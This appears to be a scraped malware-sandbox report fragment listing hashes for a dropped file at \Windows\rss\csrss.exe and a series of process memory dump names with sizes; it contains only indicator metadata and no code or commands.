SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
36b916eede950172b262c888b1e82a72

SHA1
7cacba9f2eaff7584cf6c06c8f5b23853e77cc79

SHA256
e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

SHA512
ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
36b916eede950172b262c888b1e82a72

SHA1
7cacba9f2eaff7584cf6c06c8f5b23853e77cc79

SHA256
e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

SHA512
ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Download Submit
memory/844-70-0x0000000006F10000-0x000000000760C000-memory.dmp

Filesize
7.0MB

Download
memory/844-69-0x0000000006B60000-0x0000000006F09000-memory.dmp

Filesize
3.7MB

Download
memory/844-71-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/844-66-0x0000000000000000-mapping.dmp

Download
memory/844-68-0x0000000006B60000-0x0000000006F09000-memory.dmp

Filesize
3.7MB

Download
memory/1308-62-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/1308-61-0x0000000006C70000-0x0000000007019000-memory.dmp

Filesize
3.7MB

Download
memory/1308-58-0x0000000006C70000-0x0000000007019000-memory.dmp

Filesize
3.7MB

Download
memory/1428-59-0x0000000000000000-mapping.dmp

Download
memory/1616-83-0x0000000000000000-mapping.dmp

Download
memory/1716-84-0x0000000000000000-mapping.dmp

Download
memory/1728-85-0x0000000000000000-mapping.dmp

Download
memory/1856-60-0x0000000000000000-mapping.dmp

Download
memory/1856-63-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp

Filesize
8KB

Download
memory/1968-56-0x0000000007020000-0x000000000771C000-memory.dmp

Filesize
7.0MB

Download
memory/1968-55-0x0000000006C70000-0x0000000007019000-memory.dmp

Filesize
3.7MB

Download
memory/1968-57-0x0000000000400000-0x000000000515F000-memory.dmp

Filesize
77.4MB

Download
memory/1968-54-0x0000000006C70000-0x0000000007019000-memory.dmp

Filesize
3.7MB

Download
memory/1976-87-0x0000000000000000-mapping.dmp

Download